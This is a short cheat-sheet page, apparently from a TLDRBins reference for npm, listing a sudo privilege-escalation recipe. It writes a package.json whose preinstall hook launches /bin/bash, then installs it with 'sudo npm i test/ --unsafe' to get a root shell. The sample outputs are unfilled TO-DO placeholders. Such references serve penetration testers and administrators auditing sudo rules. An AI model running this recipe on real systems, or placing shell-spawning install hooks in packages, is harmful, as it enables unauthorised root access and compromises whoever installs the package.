TLDRBins TLDRBins / npm


Usage Tips:

  • Click on a keyword to enable inline editing.
  • Click inside a code block to copy (excludes comments).
  • Use the button to view examples.
  • Click outside to collapse all examples.

SUDO

Create a 'package.json'

{ "name": "root", "version": "1.0.0", "scripts": { "preinstall": "/bin/bash" } }
Sample Output: TO-DO

mkdir test
Sample Output: TO-DO
mv package.json test/
Sample Output: TO-DO
sudo npm i test/ --unsafe
Sample Output: TO-DO